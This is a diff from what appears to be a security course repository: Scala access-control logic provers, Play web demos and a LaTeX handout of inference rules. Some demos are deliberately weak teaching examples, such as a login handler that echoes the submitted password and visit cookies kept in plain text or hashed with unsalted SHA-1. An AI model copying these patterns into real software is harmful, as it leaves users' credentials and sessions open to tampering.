+def prove(j: Judgement, sc: () => Unit) : Unit = {
+ if (j.lhs.contains(j.rhs)) sc () // Axiom rule
+ else prove1(j, sc)
+}
+
+def prove1(j: Judgement, sc: () => Unit) : Unit =
+ j.rhs match {
+ case True => sc ()
+ case False => ()
+ case Imp(f1, f2) => prove(j.lhs + f1 |- f2, sc)
+ case Says(p, f1) => prove(j.lhs |- f1, sc)
+ case Or(f1, f2) =>
+ { prove(j.lhs |- f1, sc);
+ prove(j.lhs |- f2, sc) }
+ case And(f1, f2) =>
+ prove(j.lhs |- f1,
+ () => prove(j.lhs |- f2, sc))
+ case _ => { for ((f, lhs_rest) <- partitions(j.lhs))
+ prove2(f, lhs_rest, j.rhs, sc) }
+ }
+
+def prove2(f: Form, lhs_rest: Set[Form], rhs: Form, sc: () => Unit) : Unit =
+ f match {
+ case True => prove(lhs_rest |- rhs, sc)
+ case False => sc ()
+ case And(f1, f2) =>
+ prove(lhs_rest + f1 + f2 |- rhs, sc)
+ case Imp(f1, f2) =>
+ prove(lhs_rest |- f1,
+ () => prove(lhs_rest + f2 |- rhs, sc))
+ case Or(f1, f2) =>
+ prove(lhs_rest + f1 |- rhs,
+ () => prove(lhs_rest + f2 |- rhs, sc))
+ case Says(p, Imp(f1, f2)) =>
+ prove(lhs_rest |- Says(p, f1),
+ () => prove(lhs_rest + Says(p, f2) |- rhs, sc))
+ case _ => ()
+ }
+
+// function that calls prove and returns immediately once a proof is found
+def run (j : Judgement) : Unit = {
+ def sc () = { println ("Yes!"); throw new Exception }
+ Try(prove(j, sc)) getOrElse ()
+}
+
+run (goal)
+
+run (Set[Form]() |- False -> Del)
+run (Set[Form]() |- True -> Del)
+run (Set[Form]() |- Del -> True)
+run (Set[Form]() |- Del -> Del)
+run (Set[Form]() |- Del -> Or(False, Del))
+
+
+val Gamma1 : Set[Form] =
+ Set( Admin says ((Bob says Del) -> Del),
+ Bob says Del )
+
+val goal1 = Gamma1 |- Del // not provable
+run (goal1)
+
+
+val f1 = Pred("F1", Nil)
+val f2 = Pred("F2", Nil)
+run (Set[Form](And(f1, f2)) |- And(f2, f1))
+
+
+val Chr = "Christian"
+val HoD = "Peter"
+val Email = Pred("may_btain_email", List(Const(Chr)))
+val AtLib = Pred("is_at_library", List(Const(Chr)))
+val Chr_Staff = Pred("is_staff", List(Const(Chr)))
+
+val Policy_HoD = (HoD says Chr_Staff) -> Chr_Staff
+val Policy_Lib = And(Chr_Staff, AtLib) -> Email
+val HoD_says = HoD says Chr_Staff
+
+run (Set[Form](AtLib, Policy_HoD, Policy_Lib, HoD_says) |- Email)
+
+
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/prove3.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,131 @@
+import scala.language.implicitConversions
+import scala.language.reflectiveCalls
+import scala.util._
+
+abstract class Term
+case class Var(s: String) extends Term
+case class Const(s: String) extends Term
+case class Fun(s: String, ts: List[Term]) extends Term
+
+abstract class Form
+case object True extends Form
+case object False extends Form
+case class Pred(s: String, ts: List[Term]) extends Form
+case class Imp(f1: Form, f2: Form) extends Form
+case class Says(p: String, f: Form) extends Form
+case class And(f1: Form, f2: Form) extends Form
+case class Or(f1: Form, f2: Form) extends Form
+
+case class Judgement(gamma: Set[Form], f: Form) {
+ def lhs = gamma
+ def rhs = f
+}
+
+// some syntactic sugar
+implicit def FormOps(f1: Form) = new {
+ def -> (f2: Form) = Imp(f1, f2)
+}
+implicit def StringOps(p: String) = new {
+ def says (f: Form) = Says(p, f)
+}
+implicit def SetFormOps(gamma: Set[Form]) = new {
+ def |- (f: Form) : Judgement = Judgement(gamma, f)
+}
+
+val Admin = "Admin"
+val Bob = "Bob"
+val Del = Pred("del_file", Nil)
+
+val Gamma: Set[Form] =
+ Set( (Admin says Del) -> Del,
+ Admin says ((Bob says Del) -> Del),
+ Bob says Del )
+
+val goal = Gamma |- Del // request: provable or not?
+
+def partitions[A](s: Set[A]): Set[(A, Set[A])] =
+ s.map (e => (e, s - e))
+
+
+def prove(j: Judgement, sc: () => Unit) : Unit = {
+ if (j.lhs.contains(j.rhs)) sc () // Axiom rule
+ else {
+ prove1(j, sc);
+ for ((f, lhs_rest) <- partitions(j.lhs)) prove2(f, lhs_rest, j.rhs, sc)
+ }
+}
+
+def prove1(j: Judgement, sc: () => Unit) : Unit =
+ j.rhs match {
+ case True => sc ()
+ case False => ()
+ case Imp(f1, f2) => prove(j.lhs + f1 |- f2, sc)
+ case Says(p, f1) => prove(j.lhs |- f1, sc)
+ case Or(f1, f2) =>
+ { prove(j.lhs |- f1, sc);
+ prove(j.lhs |- f2, sc) }
+ case And(f1, f2) =>
+ prove(j.lhs |- f1,
+ () => prove(j.lhs |- f2, sc))
+ case _ => ()
+ }
+
+def prove2(f: Form, lhs_rest: Set[Form], rhs: Form, sc: () => Unit) : Unit =
+ f match {
+ case True => prove(lhs_rest |- rhs, sc)
+ case False => sc ()
+ case And(f1, f2) =>
+ prove(lhs_rest + f1 + f2 |- rhs, sc)
+ case Imp(f1, f2) =>
+ prove(lhs_rest |- f1,
+ () => prove(lhs_rest + f2 |- rhs, sc))
+ case Or(f1, f2) =>
+ prove(lhs_rest + f1 |- rhs,
+ () => prove(lhs_rest + f2 |- rhs, sc))
+ case Says(p, Imp(f1, f2)) =>
+ prove(lhs_rest |- Says(p, f1),
+ () => prove(lhs_rest + Says(p, f2) |- rhs, sc))
+ case _ => ()
+ }
+
+// function that calls prove and returns immediately once a proof is found
+def run (j : Judgement) : Unit = {
+ def sc () = { println ("Yes!"); throw new Exception }
+ Try(prove(j, sc)) getOrElse ()
+}
+
+run (goal)
+
+run (Set[Form]() |- False -> Del)
+run (Set[Form]() |- True -> Del)
+run (Set[Form]() |- Del -> True)
+run (Set[Form]() |- Del -> Del)
+run (Set[Form]() |- Del -> Or(False, Del))
+
+
+val Gamma1 : Set[Form] =
+ Set( Admin says ((Bob says Del) -> Del),
+ Bob says Del )
+
+val goal1 = Gamma1 |- Del // not provable
+run (goal1)
+
+
+val f1 = "P" says Pred("F1", Nil)
+val f2 = "Q" says Pred("F2", Nil)
+run (Set[Form](And(f1, f2)) |- And(f2, f1))
+
+
+val Chr = "Christian"
+val HoD = "Peter"
+val Email = Pred("may_btain_email", List(Const(Chr)))
+val AtLib = Pred("is_at_library", List(Const(Chr)))
+val Chr_Staff = Pred("is_staff", List(Const(Chr)))
+
+val Policy_HoD = (HoD says Chr_Staff) -> Chr_Staff
+val Policy_Lib = And(Chr_Staff, AtLib) -> Email
+val HoD_says = HoD says Chr_Staff
+
+run (Set[Form](AtLib, Policy_HoD, Policy_Lib, HoD_says) |- Email)
+
+
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/routes Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,10 @@
+# Application1 needs entries for both GET and POST
+#
+# all other applications only need an entry for GET
+
+# Home page
+GET / controllers.Application.index
+#POST / controllers.Application.receive
+
+# Map static resources from the /public folder to the /assets URL path
+GET /assets/*file controllers.Assets.at(path="/public", file)
\ No newline at end of file
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/Application0.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,24 @@
+package controllers
+
+import play.api._
+import play.api.mvc._
+
+// hello world program:
+// just answer the GET request with a string
+
+object Application extends Controller {
+
+ // answering a GET request
+ def index = Action {
+ Ok(views.html.index("222Your new application is ready."))
+ //Ok("Hello World")
+ }
+
+}
+
+/*
+ * HTML can be returned using
+ *
+ * Ok("<H1>Hello world!</H1>").as(HTML)
+ *
+ */
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/Application1.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,39 @@
+package controllers
+
+import play.api._
+import play.api.mvc._
+import play.api.data._
+import play.api.data.Forms._
+
+/*
+ * Answers a GET-request by sending a simple login form.
+ *
+ * Processes the POST-data by just printing the results.
+ *
+ */
+
+object Application extends Controller {
+
+ // GET request -> login form
+ val index = Action { request =>
+
+ val form = """
+ <form method="post">
+ Login: <input type="text" name="login"><br>
+ Password: <input type="password" name="password"><br>
+ <input type="submit"></form>"""
+
+ Ok(form).as(HTML)
+ }
+
+
+ // POST data: processing the login data
+ val receive = Action { request =>
+
+ val form_data = Form(tuple ("login" -> text, "password" -> text))
+ val (login, password) = form_data.bindFromRequest()(request).get
+
+ Ok(s"Received login: $login and password: $password")
+ }
+
+}
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/Application2.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,43 @@
+package controllers
+
+import play.api.mvc._
+
+/*
+ * Application sets a cookie in plain ASCII on the
+ * client's browser recording the number of visits
+ * of a page.
+ */
+
+object Application extends Controller {
+
+ //no or invalid cookie results in the counter being 0
+ def gt_cookie(c: Cookie) : Int = c.value match {
+ case s if (s.forall(_.isDigit)) => s.toInt
+ case _ => 0
+ }
+
+ def mk_cookie(i: Int) : Cookie = {
+ Cookie("visits", i.toString)
+ }
+
+ // GET request: read cookie data first
+ def index = Action { request =>
+
+ //reads the cookie and extracts the visits counter
+ val visits_cookie = request.cookies.get("visits")
+ val visits = visits_cookie.map(gt_cookie).getOrElse(0)
+
+ //printing a message according to value of visits counter
+ val msg =
+ if (visits >= 10)
+ s"You are a valued customer who has visited this site $visits times."
+ else s"You have visited this site $visits times."
+
+ //send message with new cookie
+ Ok(msg).withCookies(mk_cookie(visits + 1))
+ }
+}
+
+
+
+
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/Application3.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,50 @@
+package controllers
+
+import play.api.mvc._
+import java.security.MessageDigest
+
+/*
+ * Application sets a cookie in plain ASCII on the
+ * clients browser recording the visits of a page.
+ *
+ * The cookie data is hashed and stored in the format:
+ *
+ * visits_counter/hashed_value
+ */
+
+object Application extends Controller {
+
+ //hash functions: SHA-1, SHA-256, etc
+ def mk_hash(s: String) : String = {
+ val hash_fun = MessageDigest.getInstance("SHA-1")
+ hash_fun.digest(s.getBytes).map{ "%02x".format(_) }.mkString
+ }
+
+ //extracting from the string .../... the visits
+ //value and hash
+ def gt_cookie(c: Cookie) : Int = c.value.split("/") match {
+ case Array(s, h) if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt
+ case _ => 0
+ }
+
+ def mk_cookie(i: Int) : Cookie = {
+ val hash = mk_hash(i.toString)
+ Cookie("visits", s"$i/$hash")
+ }
+
+ def index = Action { request =>
+ val visits_cookie = request.cookies.get("visits")
+ val visits = visits_cookie.map(gt_cookie).getOrElse(0)
+
+ val msg =
+ if (visits >= 10)
+ s"You are a valued customer who has visited this site $visits times."
+ else s"You have visited this site $visits times."
+
+ Ok(msg).withCookies(mk_cookie(visits + 1))
+ }
+}
+
+
+
+
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/Application4.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,52 @@
+package controllers
+
+import play.api.mvc._
+import java.security.MessageDigest
+
+/*
+ * Application sets a cookie in plain ASCII on the
+ * clients browser recording the visits of a page.
+ *
+ * The cookie data is hashed and salted with a
+ * secret key.
+ */
+
+
+object Application extends Controller {
+
+ //secret key for salting
+ val salt = "my secret key"
+
+ //SHA-1 + salt
+ def mk_hash(s: String) : String = {
+ val hash_fun = MessageDigest.getInstance("SHA-1")
+ hash_fun.digest((s + salt).getBytes).map{ "%02x".format(_) }.mkString
+ }
+
+ def gt_cookie(c: Cookie) : Int = c.value.split("/") match {
+ case Array(s, h) if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt
+ case _ => 0
+ }
+
+ def mk_cookie(i: Int) : Cookie = {
+ val hash = mk_hash(i.toString)
+ Cookie("visits", s"$i/$hash")
+ }
+
+ def index = Action { request =>
+
+ val visits_cookie = request.cookies.get("visits")
+ val visits = visits_cookie.map(gt_cookie).getOrElse(0)
+
+ val msg =
+ if (visits >= 10)
+ s"You are a valued customer who has visited this site $visits times."
+ else s"You have visited this site $visits times."
+
+ Ok(msg).withCookies(mk_cookie(visits + 1))
+ }
+}
+
+
+
+
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/app0.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,13 @@
+package controllers
+import play.api.mvc._
+
+object Application extends Controller {
+
+ // answering a GET request
+ val index = Action { request =>
+ Ok("Hello world!")
+ }
+}
+
+
+
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/app1.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,26 @@
+object Application extends Controller {
+
+ // GET request -> present login form
+ val index = Action { request =>
+
+ val form =
+ """<form method="post">
+ Login: <input type="text" name="login"><br>
+ Password: <input type="password" name="password"><br>
+ <input type="submit"></form>"""
+
+ Ok(form).as(HTML)
+ }
+
+ // POST data: processing the login data
+ val receive = Action { request =>
+
+ val form_data = Form(tuple ("login" -> text, "password" -> text))
+ def (login, passwd) = form_data.bindFromRequest()(request).get
+
+ Ok(s"Received login: $login and password: $passwd")
+ }
+}
+
+
+
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/app2.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,30 @@
+object Application extends Controller {
+
+ def gt_cookie(c: Cookie) : Int = c.value match {
+ case s if (s.forall(_.isDigit)) => s.toInt
+ case _ => 0
+ }
+
+ def mk_cookie(i: Int) : Cookie = Cookie("visits", i.toString)
+
+ // GET request: read cookie data first
+ def index = Action { request =>
+
+ //reads the cookie and extracts the visits counter
+ val visits_cookie = request.cookies.get("visits")
+ val visits = visits_cookie.map(gt_cookie).getOrElse(0)
+
+ //printing a message according to value of visits counter
+ val msg =
+ if (visits >= 10)
+ s"You are a valued customer who has visited this site $visits times."
+ else s"You have visited this site $visits times."
+
+ //send message with new cookie
+ Ok(msg).withCookies(mk_cookie(visits + 1))
+ }
+}
+
+
+
+
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/app3.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,25 @@
+object Application extends Controller {
+
+ //SHA-1, SHA-256
+ def mk_hash(s: String) : String = {
+ val hash_fun = MessageDigest.getInstance("SHA-1")
+ hash_fun.digest(s.getBytes).map{ "%02x".format(_) }.mkString
+ }
+
+ def gt_cookie(c: Cookie) : Int = c.value.split("/") match {
+ case Array(s, h)
+ if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt
+ case _ => 0
+ }
+
+ def mk_cookie(i: Int) : Cookie = {
+ val hash = mk_hash(i.toString)
+ Cookie("visits", s"$i/$hash")
+ }
+
+ def index = Action { request => ... }
+}
+
+
+
+
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/app4.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,27 @@
+object Application extends Controller {
+
+ val salt = "my secret key"
+
+ //SHA-1 + salt
+ def mk_hash(s: String) : String = {
+ val hash_fun = MessageDigest.getInstance("SHA-1")
+ hash_fun.digest((s + salt).getBytes).map{ "%02x".format(_) }.mkString
+ }
+
+ def gt_cookie(c: Cookie) : Int = c.value.split("/") match {
+ case Array(s, h)
+ if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt
+ case _ => 0
+ }
+
+ def mk_cookie(i: Int) : Cookie = {
+ val hash = mk_hash(i.toString)
+ Cookie("visits", s"$i/$hash")
+ }
+
+ def index = Action { request => ... }
+}
+
+
+
+
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/prove.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,179 @@
+import scala.language.implicitConversions
+import scala.language.reflectiveCalls
+import scala.util._
+
+abstract class Term
+case class Var(s: String) extends Term
+case class Const(s: String) extends Term
+case class Fun(s: String, ts: List[Term]) extends Term
+
+abstract class Form
+case object True extends Form
+case object False extends Form
+case class Pred(s: String, ts: List[Term]) extends Form
+case class Imp(f1: Form, f2: Form) extends Form
+case class Says(p: String, f: Form) extends Form
+case class And(f1: Form, f2: Form) extends Form
+case class Or(f1: Form, f2: Form) extends Form
+case class Sends(p: String, q: String, f: Form) extends Form
+case class Enc(f1: Form, f2: Form) extends Form
+
+case class Judgement(gamma: Set[Form], f: Form) {
+ def lhs = gamma
+ def rhs = f
+}
+
+// some syntactic sugar
+implicit def FormOps(f1: Form) = new {
+ def -> (f2: Form) = Imp(f1, f2)
+}
+implicit def StringOps(p: String) = new {
+ def says (f: Form) = Says(p, f)
+}
+implicit def SetFormOps(gamma: Set[Form]) = new {
+ def |- (f: Form) : Judgement = Judgement(gamma, f)
+}
+
+val Admin = "Admin"
+val Bob = "Bob"
+val Del = Pred("del_file", Nil)
+
+val Gamma: Set[Form] =
+ Set( (Admin says Del) -> Del,
+ Admin says ((Bob says Del) -> Del),
+ Bob says Del )
+
+val goal = Gamma |- Del // request: provable or not?
+
+def partitions[A](s: Set[A]): Set[(A, Set[A])] =
+ s.map (e => (e, s - e))
+
+
+def prove(j: Judgement, sc: () => Unit) : Unit = {
+ if (j.lhs.contains(j.rhs)) sc () // Axiom rule
+ else {
+ prove1(j, sc);
+ for ((f, lhs_rest) <- partitions(j.lhs)) prove2(f, lhs_rest, j.rhs, sc)
+ }
+}
+
+def prove1(j: Judgement, sc: () => Unit) : Unit =
+ j.rhs match {
+ case True => sc ()
+ case False => ()
+ case Imp(f1, f2) => prove(j.lhs + f1 |- f2, sc)
+ case Says(p, Enc(f1, f2)) =>
+ prove(j.lhs |- Says(p, f1),
+ () => prove(j.lhs |- Says(p, f2), sc))
+ case Says(p, f1) => prove(j.lhs |- f1, sc)
+ case Or(f1, f2) =>
+ { prove(j.lhs |- f1, sc);
+ prove(j.lhs |- f2, sc) }
+ case And(f1, f2) =>
+ prove(j.lhs |- f1,
+ () => prove(j.lhs |- f2, sc))
+ case Sends(p, q, f) => prove(j.lhs + (p says f) |- (q says f), sc)
+ case _ => ()
+ }
+
+def prove2(f: Form, lhs_rest: Set[Form], rhs: Form, sc: () => Unit) : Unit =
+ f match {
+ case True => prove(lhs_rest |- rhs, sc)
+ case False => sc ()
+ case And(f1, f2) =>
+ prove(lhs_rest + f1 + f2 |- rhs, sc)
+ case Imp(f1, f2) =>
+ prove(lhs_rest |- f1,
+ () => prove(lhs_rest + f2 |- rhs, sc))
+ case Sends(p, q, f) =>
+ prove(lhs_rest |- (p says f),
+ () => prove(lhs_rest + (q says f) |- rhs, sc))
+ case Enc(f1, f2) =>
+ prove(lhs_rest |- f1,
+ () => prove(lhs_rest + f2 |- rhs, sc))
+ case Or(f1, f2) =>
+ prove(lhs_rest + f1 |- rhs,
+ () => prove(lhs_rest + f2 |- rhs, sc))
+ case Says(p, Enc(f1, f2)) =>
+ prove(lhs_rest |- Says(p, f2),
+ () => prove(lhs_rest + Says(p, f1) |- rhs, sc))
+ case Says(p, Imp(f1, f2)) =>
+ prove(lhs_rest |- Says(p, f1),
+ () => prove(lhs_rest + Says(p, f2) |- rhs, sc))
+
+ case _ => ()
+ }
+
+// function that calls prove and returns immediately once a proof is found
+def run (j : Judgement) : Unit = {
+ def sc () = { println ("Yes!"); throw new Exception }
+ Try(prove(j, sc)) getOrElse ()
+}
+
+run (goal)
+
+run (Set[Form]() |- False -> Del)
+run (Set[Form]() |- True -> Del)
+run (Set[Form]() |- Del -> True)
+run (Set[Form]() |- Del -> Del)
+run (Set[Form]() |- Del -> Or(False, Del))
+
+
+val Gamma1 : Set[Form] =
+ Set( Admin says ((Bob says Del) -> Del),
+ Bob says Del )
+
+val goal1 = Gamma1 |- Del // not provable
+run (goal1)
+
+
+val f1 = "P" says Pred("F1", Nil)
+val f2 = "Q" says Pred("F2", Nil)
+run (Set[Form](And(f1, f2)) |- And(f2, f1))
+
+
+val Chr = "Christian"
+val HoD = "Peter"
+val Email = Pred("may_obtain_email", List(Const(Chr)))
+val AtLib = Pred("is_at_library", List(Const(Chr)))
+val Chr_Staff = Pred("is_staff", List(Const(Chr)))
+
+val Policy_HoD = (HoD says Chr_Staff) -> Chr_Staff
+val Policy_Lib = And(Chr_Staff, AtLib) -> Email
+val HoD_says = HoD says Chr_Staff
+
+run (Set[Form](AtLib, Policy_HoD, Policy_Lib) |- Email)
+
+println("Server Example")
+
+def Connect(p: String, q: String) : Form =
+ Pred("Connect", List(Var(p), Var(q)))
+
+
+val A = "A"
+val B = "B"
+val S = "S"
+val CAB = Connect(A, B)
+val Msg = Pred("Msg", Nil)
+val KAS = Pred("Kas", Nil)
+val KBS = Pred("Kbs", Nil)
+val KAB = Pred("Kab", Nil)
+
+val Gamma_big : Set[Form] =
+ Set( A says CAB,
+ Sends(A, S, CAB),
+ S says (CAB -> Enc(KAB, KAS)),
+ S says (CAB -> Enc(Enc(KAB, KBS), KAS)),
+ Sends(S, A, Enc(KAB, KAS)),
+ Sends(S, A, Enc(Enc(KAB, KBS), KAS)),
+ Sends(A, B, Enc(KAB, KBS)),
+ Sends(A, B, Enc(Msg, KAB)),
+ A says KAS,
+ B says KBS,
+ S says KAS,
+ A says (Enc(Msg, KAB))
+ )
+
+run (Gamma_big |- (B says Msg))
+
+
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/scala/random.scala Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,18 @@
+
+val m = 16
+val a = 5
+val c = 1
+val X0 = 10
+
+def ran(n: Int, X: Int) : Set[Int] = n match {
+ case 0 => Set()
+ case n => {
+ val X_new = (a * X + c) % m
+ Set(X) ++ ran(n - 1, X_new)
+ }
+}
+
+for (i <- 0 to 16) {
+ val l = ran(16, i)
+ println(l.size.toString + " " + l.toString)
+}
Binary file handouts/inferences.pdf has changed
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/handouts/inferences.tex Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,91 @@
+\documentclass{article}
+\usepackage{charter}
+\usepackage{proof}
+
+\begin{document}
+
+\section*{Inference Rules}
+
+\begin{enumerate}
+\item Frequently used inference rules:
+
+\begin{center}
+\mbox{\infer{F,\Gamma \vdash F}{}}\medskip
+
+\mbox{\infer{\Gamma \vdash F_2}
+ {\Gamma \vdash F_1 \Rightarrow F_2 & \Gamma \vdash F_1}}
+\hspace{10mm}
+\mbox{\infer{\Gamma \vdash F_1 \Rightarrow F_2}
+ {F_1, \Gamma \vdash F_2}}\medskip
+
+\mbox{\infer{\Gamma \vdash P \;\textit{says}\; F}
+ {\Gamma \vdash F}}
+\hspace{10mm}
+\mbox{\infer[\star]{\Gamma \vdash F}
+ {\Gamma \vdash P \;\textit{controls}\; F & \Gamma \vdash P
+ \;\textit{says}\; F}}\medskip
+
+\mbox{\infer{\Gamma \vdash P \;\textit{says}\;F_2}
+ {\Gamma \vdash P \;\textit{says}\; (F_1 \Rightarrow F_2) &
+ \Gamma \vdash P \;\textit{says}\;F_1}}\medskip
+
+\mbox{\infer{\Gamma \vdash F[x := t]}
+ {\Gamma \vdash \forall x. F}}\medskip
+
+\mbox{\infer{\Gamma \vdash F_1 \wedge F_2}
+ {\Gamma \vdash F_1 & \Gamma \vdash F_2}}
+\hspace{10mm}
+\mbox{\infer{\Gamma \vdash F_1}
+ {\Gamma \vdash F_1 \wedge F_2}}
+\hspace{10mm}
+\mbox{\infer{\Gamma \vdash F_2}
+ {\Gamma \vdash F_1 \wedge F_2}}\medskip
+
+\mbox{\infer[\star]{\Gamma \vdash Q\;\textit{says}\; F}{\Gamma \vdash P\mapsto Q &
+ \Gamma \vdash P\;\textit{says}\; F}}
+\end{center}
+
+\item Less frequently used inference rules:
+
+\begin{center}
+\mbox{\infer{\Gamma \vdash slev(P) < slev(Q)}
+ {\Gamma \vdash slev(P) = l_1 & \Gamma \vdash slev(Q) = l_2 &
+ \Gamma \vdash l_1 < l_2}}\medskip
+
+\mbox{\infer{\Gamma \vdash slev(P) = slev(Q)}
+ {\Gamma \vdash slev(P) = l & \Gamma \vdash slev(Q) = l}}\medskip
+
+\mbox{\infer{\Gamma \vdash l_1 < l_3}
+ {\Gamma \vdash l_1 < l_2 & \Gamma \vdash l_2 < l_3}}\medskip
+
+\mbox{\infer[\star]{\Gamma \vdash P \mapsto R}{\Gamma \vdash P\mapsto Q & \Gamma
+ \vdash Q \mapsto R}}\medskip
+
+
+\mbox{\infer{\Gamma \vdash F_1 \vee F_2}{\Gamma \vdash F_1}}
+\hspace{5mm}
+\mbox{\infer{\Gamma \vdash F_1 \vee F_2}{\Gamma \vdash F_2}}
+\hspace{5mm}
+\mbox{\infer{\Gamma \vdash F_3}{\Gamma \vdash F_1 \vee F_2 & F_1, \Gamma
+ \vdash F_3 & F_2, \Gamma \vdash F_3}}\medskip
+
+\mbox{\infer[c\;\mbox{must be a fresh variable}]{\Gamma \vdash \forall
+ x. F}{\Gamma \vdash F[x := c]}}\medskip
+
+\mbox{\infer{\Gamma \vdash \textit{true}}{}}\medskip
+
+\mbox{\infer[\star]{\Gamma \vdash P\;\textit{controls}\; F}{\Gamma \vdash P\mapsto Q
+ & \Gamma \vdash Q\;\textit{controls} F}}
+
+
+\end{center}
+\end{enumerate}
+
+
+$\star$ derived rules
+\end{document}
+
+%%% Local Variables:
+%%% mode: latex
+%%% TeX-master: t
+%%% End:
Binary file inferences.pdf has changed
--- a/inferences.tex Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,91 +0,0 @@
-\documentclass{article}
-\usepackage{charter}
-\usepackage{proof}
-
-\begin{document}
-
-\section*{Inference Rules}
-
-\begin{enumerate}
-\item Frequently used inference rules:
-
-\begin{center}
-\mbox{\infer{F,\Gamma \vdash F}{}}\medskip
-
-\mbox{\infer{\Gamma \vdash F_2}
- {\Gamma \vdash F_1 \Rightarrow F_2 & \Gamma \vdash F_1}}
-\hspace{10mm}
-\mbox{\infer{\Gamma \vdash F_1 \Rightarrow F_2}
- {F_1, \Gamma \vdash F_2}}\medskip
-
-\mbox{\infer{\Gamma \vdash P \;\textit{says}\; F}
- {\Gamma \vdash F}}
-\hspace{10mm}
-\mbox{\infer[\star]{\Gamma \vdash F}
- {\Gamma \vdash P \;\textit{controls}\; F & \Gamma \vdash P
- \;\textit{says}\; F}}\medskip
-
-\mbox{\infer{\Gamma \vdash P \;\textit{says}\;F_2}
- {\Gamma \vdash P \;\textit{says}\; (F_1 \Rightarrow F_2) &
- \Gamma \vdash P \;\textit{says}\;F_1}}\medskip
-
-\mbox{\infer{\Gamma \vdash F[x := t]}
- {\Gamma \vdash \forall x. F}}\medskip
-
-\mbox{\infer{\Gamma \vdash F_1 \wedge F_2}
- {\Gamma \vdash F_1 & \Gamma \vdash F_2}}
-\hspace{10mm}
-\mbox{\infer{\Gamma \vdash F_1}
- {\Gamma \vdash F_1 \wedge F_2}}
-\hspace{10mm}
-\mbox{\infer{\Gamma \vdash F_2}
- {\Gamma \vdash F_1 \wedge F_2}}\medskip
-
-\mbox{\infer[\star]{\Gamma \vdash Q\;\textit{says}\; F}{\Gamma \vdash P\mapsto Q &
- \Gamma \vdash P\;\textit{says}\; F}}
-\end{center}
-
-\item Less frequently used inference rules:
-
-\begin{center}
-\mbox{\infer{\Gamma \vdash slev(P) < slev(Q)}
- {\Gamma \vdash slev(P) = l_1 & \Gamma \vdash slev(Q) = l_2 &
- \Gamma \vdash l_1 < l_2}}\medskip
-
-\mbox{\infer{\Gamma \vdash slev(P) = slev(Q)}
- {\Gamma \vdash slev(P) = l & \Gamma \vdash slev(Q) = l}}\medskip
-
-\mbox{\infer{\Gamma \vdash l_1 < l_3}
- {\Gamma \vdash l_1 < l_2 & \Gamma \vdash l_2 < l_3}}\medskip
-
-\mbox{\infer[\star]{\Gamma \vdash P \mapsto R}{\Gamma \vdash P\mapsto Q & \Gamma
- \vdash Q \mapsto R}}\medskip
-
-
-\mbox{\infer{\Gamma \vdash F_1 \vee F_2}{\Gamma \vdash F_1}}
-\hspace{5mm}
-\mbox{\infer{\Gamma \vdash F_1 \vee F_2}{\Gamma \vdash F_2}}
-\hspace{5mm}
-\mbox{\infer{\Gamma \vdash F_3}{\Gamma \vdash F_1 \vee F_2 & F_1, \Gamma
- \vdash F_3 & F_2, \Gamma \vdash F_3}}\medskip
-
-\mbox{\infer[c\;\mbox{must be a fresh variable}]{\Gamma \vdash \forall
- x. F}{\Gamma \vdash F[x := c]}}\medskip
-
-\mbox{\infer{\Gamma \vdash \textit{true}}{}}\medskip
-
-\mbox{\infer[\star]{\Gamma \vdash P\;\textit{controls}\; F}{\Gamma \vdash P\mapsto Q
- & \Gamma \vdash Q\;\textit{controls} F}}
-
-
-\end{center}
-\end{enumerate}
-
-
-$\star$ derived rules
-\end{document}
-
-%%% Local Variables:
-%%% mode: latex
-%%% TeX-master: t
-%%% End:
Binary file pics/IEEElog.jpg has changed
Binary file pics/MafiaInMiddle.jpg has changed
Binary file pics/MigInMiddle.jpg has changed
Binary file pics/Voting1.png has changed
Binary file pics/Voting2.png has changed
Binary file pics/Voting3.png has changed
Binary file pics/Voting4.png has changed
Binary file pics/accesscontrolbook.jpg has changed
Binary file pics/anderson.jpg has changed
Binary file pics/andersonbook1.jpg has changed
Binary file pics/appel.jpg has changed
Binary file pics/appelseals.jpg has changed
Binary file pics/bag.png has changed
Binary file pics/ballotbox.jpg has changed
Binary file pics/bank.png has changed
Binary file pics/barrier.jpg has changed
Binary file pics/britkeys1.jpg has changed
Binary file pics/britkeys2.jpg has changed
Binary file pics/cart.gif has changed
